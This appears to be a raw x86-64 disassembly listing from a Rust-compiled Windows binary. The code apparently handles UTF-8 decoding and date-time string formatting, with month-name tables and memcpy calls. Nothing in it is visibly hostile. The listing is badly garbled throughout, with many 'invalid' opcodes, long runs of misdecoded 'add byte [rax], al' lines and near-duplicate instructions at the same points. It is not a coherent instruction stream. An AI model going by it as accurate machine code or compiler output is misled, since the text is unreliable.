add byte [rax], al
mov r9d, ebp
mov esi, 0x110002
mov ebp, edx
invalid
invalid
mov qword [rsp + 0x130], r9
lea rcx, [rsp + 0x38]
and al, 0x38
add byte [rax - 0x73], cl
and al, 0x38
call fcn.1400105e0
mov edx, ebp
mov rax, qword [rsp + 0x130]
mov ebp, eax
mov r9d, esi
int1
int1
mov r15d, edx
xlatb
cmp esi, 0x110003
jne 0x140028394
add byte [rax], al
add byte [rax], al
mov esi, 1
test rbx, rbx
je 0x14002844b
test byte [rbx + 2], dl
add byte [rax], al
test byte [rbx + 2], dl
add byte [rax], al
add al, byte [rax]
add byte [rax + 0x3b], cl
pushfq
and al, 0x90
add al, byte [rax]
add byte [rdi], cl
test byte [rbp + 2], al
add byte [rax], al
cmp rbx, qword [rsp + 0x290]
je 0x14002844b
add byte [rax], al
movzx r8d, byte [rbx]
movzx edx, r8b
add eax, dword [rcx + 0xf]
mov dh, 0xd0
test dl, dl
js 0x140028260
sar byte [rax + 0x4e], cl
inc rbx
lea eax, [rdx - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, edx
mov edx, ecx
mov r9d, 0x110001
xor ebp, ebp
add byte [rcx], dh
in eax, dx
lea eax, [r9 - 0x110000]
lea rcx, [rax + 1]
add qword [rbx + 0xf4903f8], rax
int3
mov esi, 0x110000
adc dword [rax], eax
add byte [rax], al
out dx, eax
dec dword [rax - 0x73]
add qword [rbx + 0xf4903f8], rax
int3
adc dword [rax], eax
lea r8, [0x1400ef5c0]
movsxd rax, dword [r8 + rcx*4]
add rax, r8
mov r15d, edx
xlatb
jmp rax
mov eax, edx
and eax, 0x1f
loopne 0x140028284
movzx r9d, byte [rbx + 1]
and r9d, 0x3f
cmp dl, 0xdf
cli
fbstp tbyte [rsi + 0x46]
cli
fbstp tbyte [rsi + 0x46]
movzx ecx, byte [rbx + 2]
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
or ecx, ecx
or ecx, ecx
cmp r8b, 0xf0
clc
invalid
jb 0x1400282d2
movzx edx, byte [rbx + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
adc dword [rax], eax
adc dword [rax], eax
add byte [rdi], cl
test byte [rcx + rax - 0x7cb80000], ah
movsb byte [rdi], byte [rsi]
add dword [rax], eax
add byte [rax - 0x7d], cl
je 0x14002844b
movsb byte [rdi], byte [rsi]
add dword [rax], eax
add byte [rax - 0x7d], cl
add rbx, 4
cmp edx, 0x80
jb 0x140028215
ret
jmp 0x1400282e9
xor byte [rax - 0x7d], cl
add rbx, 2
ret
shl eax, 6
or eax, r9d
mov edx, eax
cmp edx, 0x80
jae 0x1400282e9
jmp 0x140028215
add rbx, 3
add ebx, 3
ret
shl eax, 0xc
or ecx, eax
mov edx, ecx
cmp edx, 0x80
or al, 9
ror dword [rcx - 0x7f057e36], 0
add byte [rax], al
jb 0x140028215
invalid
mov eax, 0x57f
xor r8d, r8d
xor eax, eax
xor eax, eax
sar byte [rcx + 0x57f], 0x4c
lea edx, [0x1400d9af8]
sti
invalid
or eax, dword [rax]
mov ecx, 0x57f
add eax, 0x8d4c0000
adc eax, 0xb17fb
sti
invalid
or eax, dword [rax]
add byte [rax], al
lea r10, [0x1400d9af8]
sti
invalid
mov r11d, 0xff
jmp 0x14002831c
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rcx + rbp - 0x40], 0xf
sub eax, eax
invalid
mov rcx, rax
sub rax, r8
sub eax, eax
sub eax, eax
jbe 0x140028226
xchg byte [rdx], cl
invalid
shr rax, 1
add rax, r8
xor r9d, r9d
cmp dword [r10 + rax*8], edx
setne r9b
cmovb r9d, r11d
cmp r9b, 1
stc
invalid
je case.0x140027333.45
ret 0xf41
stc
add dword [rcx + rbx*8 + 0x45], esi
movzx eax, cl
invalid
movzx r8d, r9b
rol dword [rcx - 0x7f], 0xf8
inc dword [rax]
add byte [rax], al
cmp r8d, 0xff
jne 0x140028357
inc rax
mov r8, rax
mov rax, rcx
sub rax, r8
invalid
ja 0x14002831c
sal byte [rdi - 0x36], 0xe9
iretd
jmp 0x140028226
inc dword [rcx - 0x75]
push rsp
ret 0x8904
add al, 0x89
mov edx, dword [r10 + rax*8 + 4]
mov eax, edx
xor eax, 0xd800
fadd dword [rax]
invalid
add al, 0x89
sal byte [0x140035b63], 1
fadd dword [rax]
invalid
fadd dword [rax]
add byte [0x13ff18368], al
add eax, 0xffef0000
add byte [rax], al
add eax, 0xffef0000
cmp eax, 0xffef0800
setb al
cmp edx, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
sete cl
or cl, al
mov eax, 0x69
add byte [rax], al
add byte [rdi], cl
ror byte [r15], 1
invalid
popfq
invalid
invalid
invalid
add byte [rax], al
add byte [rdi], cl
ror byte [r15], 1
test byte [rbp + 0x41fffffe], bl
mov r9d, 0x110000
mov ecx, 0x110000
mov ebp, 0x307
lea eax, [r9 - 0x110000]
add bh, ch
dec dword [rax - 0x73]
lea rcx, [rax + 1]
cmp eax, 3
cmovae rcx, r12
lea rcx, [rax + 1]
cmp eax, 3
cmovae rcx, r12
mov esi, 0x110000
lea r8, [0x1400ef5c0]
or al, 0
add byte [rbp + rcx*4 + 5], cl
invalid
or al, 0
movsxd rax, dword [r8 + rcx*4]
add al, 0x88
mov byte [rcx + rax - 0x40], cl
add rax, r8
mov r15d, edx
jmp rax
mov esi, 0x110001
mov r9d, ebp
mov ecx, ebp
mov ecx, ebp
jmp case.0x140028256.0
mov rax, qword [rsp + 0x150]
mov dword [rsp + 0x58], eax
mov rdx, qword [rsp + 0x48]
and al, 0x50
push rax
add dword [rax], eax
add byte [rcx + 0x48582444], cl
mov edx, dword [rsp + 0x48]
cmp qword [rsp + 0x40], rdx
je 0x140029276
lea r8, [0x1400b11a0]
lea eax, [0x1400b11a0]
add eax, 0x88db0
lea ecx, [rax]
add byte [rax - 0x73], cl
je 0x140028418
lea rsi, [rsp + 0x38]
cmp byte [rax - 0x75], cl
and al, 0x38
and al, 0x38
mov rax, qword [rsp + 0x38]
and al, 0x38
mov byte [rax + rdx], 0x2e
inc rdx
mov qword [rsp + 0x48], rdx
lea rax, [rsp + 0x58]
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043bc0]
lea eax, [0x140043bc0]
lea eax, [0x140043bc0]
add dword [rax], eax
mov qword [rsp + 0xd8], rax
add byte [rax], al
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
and al, 0x90
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xa8], 9
jmp 0x14002875a
add byte [rcx], cl
add byte [rax], al
add cl, ch
lsl eax, word [rax]
add byte [rcx - 0x7b76b718], cl
and al, 0x30
mov eax, ebp
mov qword [rsp + 0x130], rax
add dword [rax], eax
add byte [rax - 0x80], al
inc dword [rbx]
add dword [rax], eax
add byte [rax - 0x80], al
inc dword [rbx]
jne 0x14002670a
jmp 0x14002671a
mov rcx, qword [rsp + 0xf0]
mov ecx, dword [rsp + 0xf0]
cmp ecx, 0x16e7
ja 0x140029785
mov rax, qword [rsp + 0x120]
lea rdx, [0x1400b1c36]
lea edx, [0x1400b1c36]
lea edx, [0x1400b1c36]
movzx eax, byte [rax + rdx]
lea ecx, [rcx + rax*8]
shr ecx, 9
dec ecx
cmp ecx, 0xb
or ecx, dword [rbp + rcx*4 + 0x4c]
and al, 0x38
or ecx, dword [rbp + rcx*4 + 0x4c]
and al, 0x38
ja 0x14002978a
shl rcx, 4
shl ecx, 4
lea rax, str.JanFebMarAprMayJunJulAugSepOctNovDec
mov rsi, qword [rcx + rax]
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
and al, 0x40
mov rdx, qword [rsp + 0x48]
and al, 0x48
sub rax, rdx
cmp rax, 2
ja case.0x14001bae2.213
mov r8d, 3
mov rcx, r9
jmp 0x1400292a5
invalid
invalid
add byte [rax], al
invalid
add byte [rax], al
mov rcx, qword [rsp + 0xf0]
cmp ecx, 0x16e7
ja 0x14002979d
and al, 0xf0
add byte [rax], al
add byte [rcx + 0x16e7f9], al
add byte [rdi], cl
xchg dword [rax + 0x48000012], edi
mov eax, dword [rsp + 0x120]
mov rax, qword [rsp + 0x120]
lea rdx, [0x1400b1c36]
xchg edi, eax
or byte [rax], al
movzx eax, byte [rax + rdx]
lea ecx, [rcx + rax*8]
shr ecx, 9
dec ecx
adc byte [rbp - 0x163e3ef4], cl
or edi, edi
leave
cmp ecx, 0xb
ja 0x1400297a2
invalid
add byte [rax - 0x3f], cl
loope 0x140028511
shl rcx, 4
shl ecx, 4
lea rax, str.JanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecember
pushfq
or byte [rax], al
invalid
add byte [rax - 0x75], cl
sbb al, 1
mov rbx, qword [rcx + rax]
mov rsi, qword [rcx + rax + 8]
jmp 0x140028579
mov rax, qword [rsp + 0x280]
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [rax - 0x75], cl
and al, 0x40
mov rsi, qword [rax]
mov esi, dword [rax]
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
sub rax, rdx
cmp rax, 2
jbe 0x14002929a
mov rax, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
and al, 0x38
and al, 0x38
movzx ecx, byte [rsi + 2]
mov byte [rax + rdx + 2], cl
movzx ecx, word [rsi]
mov word [rax + rdx], cx
add rdx, 3
mov qword [rsp + 0x48], rdx
mov dword [rsp + 0x48], edx
mov dword [rsp + 0x48], edx
jmp 0x140026140
jmp 0x140026140
fstp st(3)
invalid
mov rax, qword [rsp + 0x278]
mov rbx, qword [rax]
mov rax, qword [rsp + 0x270]
add byte [rax - 0x75], cl
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
sbb byte [rax - 0x75], cl
test byte [rax + rsi*2], ah
add al, byte [rax]
add byte [rax - 0x75], cl
xor byte [rax - 0x75], cl
and al, 0x40
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov r15, qword [rsp + 0x48]
sub rax, r15
sub eax, edi
cmp rax, rsi
jb 0x14002925c
mov rcx, qword [rsp + 0x38]
add rcx, r15
add ecx, edi
stc
mov rdx, rbx
mov edx, ebx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r15, rsi
mov qword [rsp + 0x48], r15
jmp 0x140026140
mov rax, qword [rsp + 0x40]
and al, 0x40
mov rdx, qword [rsp + 0x48]
sub rax, rdx
sub eax, edx
sub eax, edx
cmp rax, 1
jbe 0x1400292b4
mov rax, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x194]
add byte [rax], al
add byte [rax], al
mov word [rax + rdx], cx
add rdx, 2
mov qword [rsp + 0x48], rdx
jmp 0x140026140
adc byte [rax - 0x7d], cl
ret 0x4802
mov rax, qword [rsp + 0x150]
add byte [rax], al
mov dword [rsp + 0xf8], eax
test eax, eax
je 0x140026140
invalid
add byte [rax], al
add byte [rbp + 0x45840fc0], al
invalid
dec dword [rax - 0x75]
push rsp
and al, 0x48
mov rdx, qword [rsp + 0x48]
cmp qword [rsp + 0x40], rdx
je 0x140029391
test byte [rsi + 0x4c00000d], al
lea r8, [0x1400b11a0]
lea eax, [0x1400b11a0]
lea rsi, [rsp + 0x38]
cmp byte [rax - 0x75], cl
and al, 0x38
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x2e
inc rdx
inc edx
ret 0x8948
mov qword [rsp + 0x48], rdx
mov eax, dword [rsp + 0xf8]
imul ecx, eax, 0x68c26139
ror ecx, 6
cmp ecx, 0x10c6
add byte [rdi], cl
invalid
mov dh, 0xa
add byte [rax], al
add byte [rdi], cl
xchg byte [rsi + 0x6900000a], dh
mov dh, 0xa
add byte [rax], al
imul ecx, eax, 0x26e978d5
ror ecx, 3
mov dh, 0xa
add byte [rax], al
imul ecx, eax, 0x26e978d5
ror ecx, 3
cmp ecx, 0x418937
jbe 0x14002915b
invalid
add byte [rax - 0x73], cl
test byte [rax + rdi*8], ah
add byte [rax], al
lea rax, [rsp + 0xf8]
jmp 0x14002840b
add cl, ch
movsd dword [rdi], dword [rsi]
std
invalid
mov rdx, qword [rsp + 0x48]
cmp qword [rsp + 0x40], rdx
je 0x1400292ce
pop rax
or al, 0
add byte [rax], al
pop rax
or al, 0
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1400b11a0]
lea rsi, [rsp + 0x38]
and ecx, dword [rbx - 0x72b7fff8]
add byte [rax - 0x73], cl
je 0x1400286a5
cmp byte [rax - 0x75], cl
and al, 0x38
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x2e
inc rdx
ret 0x8948
push rsp
and al, 0x48
ret 0x8948
push rsp
and al, 0x48
mov rax, qword [rsp + 0x1d8]
mov eax, dword [rsp + 0x1d8]
test byte [rax + rbx*8], ah
add dword [rax], eax
add byte [rcx + 0x48582444], cl
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
lea eax, [rsp + 0x58]
lea eax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd0], eax
rol byte [rax], 1
add byte [rax], al
lea rax, [0x140043bc0]
mov ch, 1
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x90], 2
invalid
invalid
add dword [rax], eax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov dword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov dword [rsp + 0xa0], 0
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0xa8], 3
jmp 0x14002875a
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add bl, ch
jns 0x14002872a
invalid
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
and al, 0x48
cmp qword [rsp + 0x40], rdx
and al, 0x40
je 0x1400292f2
test byte [rcx], al
or al, 0
add byte [rbp + rcx*4 + 5], cl
test al, 0x8a
or byte [rax], al
lea r8, [0x1400b11a0]
lea rsi, [rsp + 0x38]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x2e
invalid
adc byte [rsi], ch
inc rdx
inc rdx
ret 0x8948
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x1e0]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd0], eax
mov dword [rsp + 0xd0], eax
lea rax, [0x140043bc0]
add eax, 0x1b492
xchg edx, eax
mov ah, 1
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs rax, 0x800000020
mov qword [rsp + 0xb0], 0
movabs rax, 0x800000020
mov qword [rsp + 0xb8], rax
mov eax, 0xc6000000
add byte [rax], al
add dh, al
invalid
mov byte [rsp + 0xc0], 3
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rbx], al
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
push 1
push 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x78], 1
and al, 0x78
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
mov rdx, r8
lea r8, [rsp + 0x60]
call fcn.140042240
test al, al
je 0x140026140
jmp case.0x140026946.38
invalid
cmp qword [rsp + 0x100], 0
cmp dword [rsp + 0x100], 0
mov esp, 0x10024
add byte [rax], al
je case.0x140026946.38
mov rax, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
sub rax, rsi
sub rax, rsi
mov rdi, qword [rsp + 0x158]
mov edi, dword [rsp + 0x158]
cmp rax, rdi
jb 0x140029316
mov rcx, qword [rsp + 0x38]
add rcx, rsi
mov rdx, qword [rsp + 0x100]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov qword [rsp + 0x48], rsi
jmp 0x140026140
cmp qword [rsp + 0x100], 0
je case.0x140026946.38
lea rcx, [0x1400b1f13]
jmp 0x140028177
cmp qword [rsp + 0x100], 0
je case.0x140026946.38
cmp dword [rsp + 0x128], 0x4e1ffff
ja case.0x140026946.38
mov rax, qword [rsp + 0x268]
mov rsi, qword [rax]
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
sub rcx, rdx
cmp rcx, 2
jbe 0x140029330
lea rdi, [rsp + 0x38]
mov rcx, qword [rsp + 0x38]
movzx r8d, byte [rsi + 2]
mov byte [rcx + rdx + 2], r8b
movzx r8d, word [rsi]
mov word [rcx + rdx], r8w
mov dword [rcx + rdx], eax
mov dword [rcx + rdx], eax
add rdx, 3
mov qword [rsp + 0x48], rdx
sub rax, rdx
cmp rax, 1
jbe 0x140029352
lea rax, [rdx + 2]
xor esi, esi
mov word [rcx + rdx], 0x202c
add dh, byte [rcx]
mul byte [rsi - 0x39]
add al, 0x11
sub al, 0x20
mov qword [rsp + 0x48], rax
cmp dword [rsp + 0xf0], 0x16e7
ja 0x140028914
mov rax, qword [rsp + 0x120]
lea rcx, [0x1400b1c36]
movzx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x128]
lea esi, [rcx + rax*8]
shr esi, 4
and esi, 0x1f
cmp esi, 0xa
jae 0x140028ead
add esi, 0x30
jmp 0x140028ed6
invalid
invalid
add byte [rax], al
mov edx, 0x48000005
cmp dword [rsp + 0x100], 0
cmp qword [rsp + 0x100], 0
je case.0x140026946.38
mov eax, dword [rsp + 0xcc]
mov dword [rsp + 0x140], eax
and al, 0x40
add dword [rax], eax
invalid
and al, 0x40
add dword [rax], eax
add byte [rcx + 0x12824bc], al
cmp dword [rsp + 0x128], 0x4e20000
cmp dword [rsp + 0x128], 0x4e20000
jae 0x140028a25
add byte [rax], al
lea rbx, [rsp + 0x38]
mov rcx, rbx
mov edx, dword [rsp + 0x17c]
and al, 0x7c
add dword [rax], eax
invalid
and al, 0x7c
add dword [rax], eax
jl 0x140028958
add byte [rax], al
add al, ch
invalid
call fcn.1400105e0
mov rcx, rbx
mov edx, dword [rsp + 0x178]
call fcn.1400105e0
cmp byte [rsp + 0x210], 0x63
adc byte [rdx], al
add byte [rax], al
invalid
lea rdi, [0x1400b11a0]
ja case.0x140026946.38
adc byte [rdx], al
add byte [rax], al
invalid
mov rcx, rbx
mov edx, dword [rsp + 0x174]
call fcn.1400105e0
mov rcx, rbx
mov edx, dword [rsp + 0x170]
call fcn.1400105e0
jmp 0x140028af9
invalid
cmp qword [rsp + 0x100], 0
je case.0x140026946.38
lea rcx, [0x1400b1f17]
jmp 0x140028177
movzx eax, r8b
lea rcx, [0x1400ef5b0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x1d8]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043bc0]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add cl, ch
clc
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add cl, ch
clc
add eax, dword [rax]
add byte [rax], al
lea rax, [rsp + 0x140]
mov qword [rsp + 0xd0], rax
lea rax, [0x140049cd0]
add byte [rax], al
lea rax, [rsp + 0x140]
mov qword [rsp + 0xd0], rax
lea rax, [0x140049cd0]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [0x188028a69], al
mov dword [rsp + 0xb0], 0
add byte [rax], al
invalid
and al, 0xd8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [0x188028a69], al
mov dword [rsp + 0xb0], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
or dword [rax], eax
add byte [rax], al
movabs rax, 0x900000020
add byte [rax], al
add byte [rcx], cl
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add dh, al
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rbx], al
invalid
mov qword [rsp + 0xb8], rax
mov byte [rsp + 0xc0], 3
invalid
add ecx, dword [rax - 0x73]
add eax, 0xc44cb
or al, 0
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
or al, 0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0xd0]
add byte [rax], al
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rbx, [rsp + 0x38]
mov rcx, rbx
lea rdi, [0x1400b11a0]
xchg byte [rax], cl
add byte [rax - 0x77], cl
cli
xchg byte [rax], cl
add byte [rax - 0x77], cl
cli
lea r8, [rsp + 0x60]
call fcn.140042240
test al, al
jne case.0x140026946.38
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028b12
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rsp + 0x48]
lea rax, [rdx + 1]
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rdx], 0x2d
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0xf0]
cmp ecx, 0x16e8
jae 0x140028b67
mov rax, qword [rsp + 0x120]
mov eax, dword [rsp + 0x120]
lea rdx, [0x1400b1c36]
movzx eax, byte [rax + rdx]
lea esi, [rcx + rax*8]
shr esi, 9
cmp sil, 0xa
mov edx, 0x30
sbb edx, 0xffffffff
cmp sil, 9
jbe 0x140028b6e
add esi, 0xf6
jmp 0x140028b6e
xor esi, esi
mov edx, 0x30
invalid
add byte [rax - 0x77], cl
fld1
push 0x7a
invalid
mov rcx, rbx
mov ecx, ebx
call fcn.1400105e0
or esi, 0x30
movzx edx, sil
mov rcx, rbx
call fcn.1400105e0
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028b9e
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rsp + 0x48]
lea rax, [rdx + 1]
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rdx], 0x2d
mov qword [rsp + 0x48], rax
cmp dword [rsp + 0xf0], 0x16e7
ja 0x140028be2
mov rax, qword [rsp + 0x120]
lea rcx, [0x1400b1c36]
movzx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x128]
lea eax, [rcx + rax*8]
shr eax, 4
and al, 0x1f
jmp 0x140028be4
xor eax, eax
movzx esi, al
lea eax, [rsi + rsi*4]
lea eax, [rax + rax*4]
add eax, esi
shr eax, 8
mov ecx, eax
or cl, 0x30
add eax, eax
lea eax, [rax + rax*4]
sub sil, al
or sil, 0x30
movzx edx, cl
mov rcx, rbx
call fcn.1400105e0
movzx edx, sil
mov rcx, rbx
call fcn.1400105e0
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028c33
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x54
inc rdx
mov qword [rsp + 0x48], rdx
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0xf8], eax
mov rcx, rbx
mov edx, dword [rsp + 0x11c]
call fcn.1400105e0
mov rcx, rbx
mov edx, dword [rsp + 0x118]
call fcn.1400105e0
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028c89
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rbx
mov edx, dword [rsp + 0x148]
call fcn.1400105e0
mov rcx, rbx
mov edx, dword [rsp + 0x114]
call fcn.1400105e0
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028cd1
mov rcx, rbx
call fcn.140051430
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
mov edx, dword [rsp + 0x110]
call fcn.1400105e0
mov rcx, rbx
mov edx, dword [rsp + 0x10c]
call fcn.1400105e0
mov ecx, dword [rsp + 0xf8]
test ecx, ecx
je 0x140029241
mov eax, ecx
imul edx, ecx, 0x68c26139
ret 0xc168
retf 0x8106
cli
invalid
adc byte [rax], al
add byte [rdi], cl
xchg ah, ah
add eax, dword [rax]
invalid
ret 0xc168
imul ecx, ecx, 0x26e978d5
ror ecx, 3
cmp ecx, 0x418937
invalid
mov dword [rcx], eax
add byte [r15], cl
xchg byte [rdx], dh
add al, 0
invalid
invalid
add byte [r15], cl
xchg byte [rdx], dh
add al, 0
add byte [rax - 0x73], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1ae6e
lea rax, [rsp + 0xf8]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043bc0]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 9
jmp 0x1400291bc
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x1e0]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043bc0]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 6
jmp 0x140028e1d
mov rax, qword [rsp + 0x150]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043bc0]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 9
mov qword [rsp + 0xb0], 0
